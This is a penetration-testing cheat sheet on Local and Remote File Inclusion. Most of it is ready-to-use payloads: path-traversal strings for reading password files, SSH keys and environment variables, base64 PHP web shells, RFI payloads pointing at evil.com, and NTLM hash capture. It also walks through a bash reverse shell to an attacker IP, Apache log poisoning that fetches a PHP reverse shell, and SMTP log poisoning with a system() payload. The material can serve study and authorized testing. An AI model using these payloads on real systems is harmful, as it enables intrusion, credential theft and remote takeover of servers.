File Inclusion (LFI/RFI)
Local File Inclusion (LFI) and Remote File Inclusion (RFI) are vulnerabilities that are often found to affect web applications that rely on a scripting run time.
- [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File Inclusion)
Local File Inclusion (LFI)
?page=../
?page=/etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
?page=..//..//..//..//..//etc/passwd
?page=....//....//....//....//etc/passwd
?page=....//....//....//....//....//....//etc/passwd
?page=.....///.....///.....///.....///etc/passwd
?page=../../../../../../../../../../../../../../etc/passwd
?page=..\/..\/..\/..\/etc/passwd
?page=/var/www/html/..//..//..//etc/passwd
?page=/etc/passwd&
?page=/etc/passwd%00
?page=example.php%00.txt
?page=/etc/passwd%00.inc
?page=/etc/passwd%00.php
?page=http://localhost/index
?page=http://localhost:3000/index.html
?page=http://localhost:8000/index.html
?page=somedir/../../../../etc/passwd&ext=
# URL encoding
?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=..%5C..%5C..%5C..%5Cetc/passwd
?page=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
?page=http:%5C%5Cindex
# URL double encoding
?page=..%252F..%252F..%252F..%252fetc/passwd
?page=%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
?page=http:%252F%252Findex
# UTF-8 encoding
?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Dot truncation
?page=../../../../etc/passwd..........................................................
# File scheme
?page=file:///etc/passwd
?page=file:%2F%2F%2Fetc%2Fpasswd
?page=file:%252F%252F%252Fetc%252Fpasswd
?page=file%3A///etc/passwd
?page=file%3A%2F%2F%2Fetc%2Fpasswd
?page=file%3A%252F%252F%252Fetc%252Fpasswd
?page=file://var/www/html/index.php
?page=file://var/www/<subdomain>/index.php
# Other local web servr
?page=http://127.0.0.1/
?page=http://127.0.0.1:3000/
?page=http://127.0.0.1:8000/
# PHP Filter
?page=php://filter/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
?page=pHp://filter/convert.base64-encode/resource=index.php
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
?page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>
# PHP Filter (Base64 encoding)
# `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`: `<?php system($_GET['cmd']); ?>`
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=whoami
# `AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4`: `<?php echo system($_GET['cmd']); ?>`
?page=php://filter/convert.base64-decode/resource=data://plain/text,AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4=&cmd=whoami
# PHP Session File
?page=/var/lib/php/sessions/sess_<PHPSESSID>
To automate this process, we can fuzzing as follow.
ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
Interesting Files
When our payload is successful, we can additionaly investigate local files and retrieve sensitivin information.
# Home directories
?page=/home/<username>/.bashrc
?page=/home/<username>/.bash_history
?page=/home/<username>/.bash_logout
?page=/home/<username>/.bash_profile
?page=/home/<username>/.profile
?page=/home/<username>/.ssh/id_rsa
# Root directory
?page=/root/.bashrc
?page=/root/.bash_history
?page=/root/.bash_logout
?page=/root/.bash_profile
?pgae=/root/.profile
?page=/root/.ssh/id_rsa
# Environment variables
?page=/proc/self/environ
?page=/proc/<pid>/environ
# Mail
?page=/var/mail/<username>
?page=/var/spool/mail/<username>
# Postfix
?page=/var/log/mail.log
?page=/var/log/maillog
# Host
?page=/etc/hosts
# Cron
?page=/etc/crontab
# Web root
?page=/var/www/html/index.html
?page=/var/www/html/index.php
?page=/var/www/html/.htaccess
?page=/var/www/html/.htpasswd
?page=/var/www/example.com/index.php
?page=/var/www/sudomain/index.php
?page=/var/www/subdomain.example.com/index.php
?page=/var/www/wordpress/index.php
# Apache
?page=/etc/apache2/sites-enabled/000-default.conf
?page=/etc/apache2/sites-enabled/domain.conf
?page=/etc/apache2/sites-enabled/example.com.conf
?page=/etc/apache2/sites-enabled/sub.example.com.conf
?page=/etc/apache2/sites-enabled/sub.conf
?page=/etc/apache2/sites-available/domain.conf
?page=/etc/apache2/sites-available/example.com.conf
?page=/etc/apache2/sites-available/sub.example.com.conf
?page=/etc/apache2/sites-available/sub.conf
?page=/etc/apache2/.htpasswd
?page=/var/log/apache/access.log
?page=/var/log/apache/error.log
?page=/var/log/apache2/access.log
?page=/var/log/apache2/error.log
# Nginx
?page=/var/log/nginx/access.log
?page=/var/log/nginx/error.log
?page=/etc/nginx/nginx.conf
?page=/etc/nginx/conf.d/.htpasswd
?page=/etc/nginx/conf.d/example.com.conf
?page=/etc/nginx/conf.d/example.conf
?page=/etc/nginx/conf.d/subdomain.example.com.conf
?page=/etc/nginx/conf.d/subdomain.conf
?page=/etc/nginx/sites-available/example.com.conf
?page=/etc/nginx/sites-enabled/default
?page=/etc/nginx/sites-enabled/example.com.conf
?page=/usr/local/nginx/conf/nginx.conf
?page=/usr/local/etc/nginx/nginx.conf
# PHP web conf (x.x is specified PHP version)
?page=/etc/php/x.x/apache2/php.ini
?page=/etc/php/x.x/cli/php.ini
?page=/etc/php/x.x/fpm/php.ini
# BIND
?page=/etc/bind/named.conf
?page=/etc/bind/named.conf.options
?page=/etc/bind/named.conf.local
?page=/etc/bind/named.conf.default-zones
# Windows
?page=C:/Windows/debug/NetSetup.log
?page=C:/Windows/System32/drivers/etc/hosts
?page=C:/Windows/System32/inetsrv/config/applicationHost.config
?page=../../../../../../../../windows/system32/drivers/etc/hosts
?page=C:/Users/Public/Desktop/desktop.ini
?page=C:/Users/FUZZ/Desktop/desktop.ini # user enumeration
?page=C:/inetpub/wwwroot/<project>/web.config
?page=C:/xampp/apache/conf/httpd.conf
?page=C:/xampp/apache/conf/extra/httpd-userdir.conf
?page=C:/xampp/apache/conf/extra/httpd-vhosts.conf
?page=C:/xampp/apache/conf/extra/httpd-xampp.conf
?page=C:/xampp/apache/conf/extra/httpd-ajp.conf
?page=C:/xampp/apache/logs/access.log
?page=C:/xampp/apache/logs/error.log
?page=C:/xampp/cgi-bin/example.cgi
?page=C:/xampp/htdocs/example.com/index.php
?page=C:/xampp/htdocs/sub.example.com/index.php
?page=C:/xampp/phpMyAdmin/index.php
?page=C:/xampp/phpMyAdmin/config.inc.php
Read Process Commands
We can retrieve commands that start processes by enumerating /proc/PID/cmdline
.
Create a Python script that enumerates them. We can refer to this blog post's "This leaves the server vulnerable to Local File Inclusion." section.
# lfi.py
import requests
import time
for i in range(10):
print(f"[+] Trying {i}")
url = "http://example.com/?file=/proc/" + i + "/cmdline"
resp = requests.get(url)
print(resp.content)
time.sleep(1)
Then execute this file.
Remote File Inclusion (RFI)
?page=//evil.com/exploit
?page=%2F%2fevil.com/exploit
?page=%2C%2Cevil.com/exploit
?page=http://evil.com/exploit
?page=http%3A//evil.com/exploit
?page=http%3A%2F%2Fevil%2Ecom/exploit
?page=http%253A%252F%252Fevil%252Ecom/
?page=test@sub.example.com/
Steal NTLM Hashes (Windows)
If the website is hosted on Windows, we may be able to retrieve password hashes using Responder.
In local machine, start responder.
Then send request to https://example.com/?page=//<local-ip>/test
.
Now we may be able to capture the hashes.
If so, we can crack it using JohnTheRipper or Hashcat. Please refer to this page for cracking NTLM.
Remote Code Execution (RCE)
php_filter_chain_generator is CLI that generates payload for PHP filter bypass and allow us to RCE.
Below is the payload for reverse shell.
wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')?>"
Then copy the output and paste it to the target.
Log Poisoning
1. Check if You Can Access the Apache Log File
# Debian, Ubuntu Linux
/?page=/var/log/apache/access.log
/?page=../../../../var/log/apache/access.log
/?page=/var/log/apache2/access.log
/?page=../../../../var/log/apache2/access.log
# FreeBSD Linux
/?page=/var/log/httpd-access.log
/?page=../../../../var/log/httpd-access.log
# CentOS, Fedora, RedHat Linux
/?page=/var/log/httpd/access_log
/?page=../../../../var/log/httpd/access_log
2. Prepare the Payload for PHP Reverse Shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# Edit the values in the payload
$ip = '<attacker-ip>';
$port = 4444;
3. Open Web Server in Local Machine
4. Inject PHP Payload in the User-Agent
Send the GET Request with abusing the User-Agent.
The payload can be uploaded to the /shell.php
of the target website.
GET / HTTP/1.1
...
User-Agent: <?php file_put_contents('shell.php', file_get_contents('http://<attacker-ip>/shell.php')); ?>
If we got some error such as "500 Internal Server Error" when the next steps, try to modify the payload a bit. For example,
- Change single quotes (') to double quotes (").
- Change double quotes (") to single quotes (').
- Change
<?php
to<?pHp
. (PHP filter bypass)
5. Apply the Injection
Refresh the page /index.php?page=../../../../var/log/apache2/access.log
.
6. Open Listener for Reverse Shell
In you local machine, open the listener.
You need to specify the port which you set the section 2.
7. Gain Access to Shell
Access to /shell.php
of the target website.
If it goes well, you can get a shell.
SMTP Log Poisoning
Reference: https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/
If the target system opens SMTP and we can see the email logs, we may inject arbitrary code to the email log and lead to RCE.
1. Check Log Files with LFI
Below is the log file location examples:
# Exim
?page=/var/log/exim_mainlog
?page=/var/log/exim/main.log
# Postfix
?page=/var/log/mail.log
?page=/var/log/maillog
?page=/var/adm/maillog
?page=/var/adm/syslog/mail.log
2. Send Email Included RCE via SMTP Server
# 1. Connect to the SMTP server
telnet x.x.x.x 25
# 2. Check existing account
vrfy root
250 2.0.0 root
vrfy admin
250 2.0.0 admin
vrfy administrator
250 2.0.0 administrator
...
# 3. Send email included arbitrary code
MAIL FROM: support@victim.com
RCPT TO: <?php system($_GET['cmd']); ?>
3. Achieve RCE with LFI
Now go back to the vulnerable web page. Send request of LFI such as below:
If the result of the system command is displayed in the response, we can execute other commands (e.g. for Reverse Shell).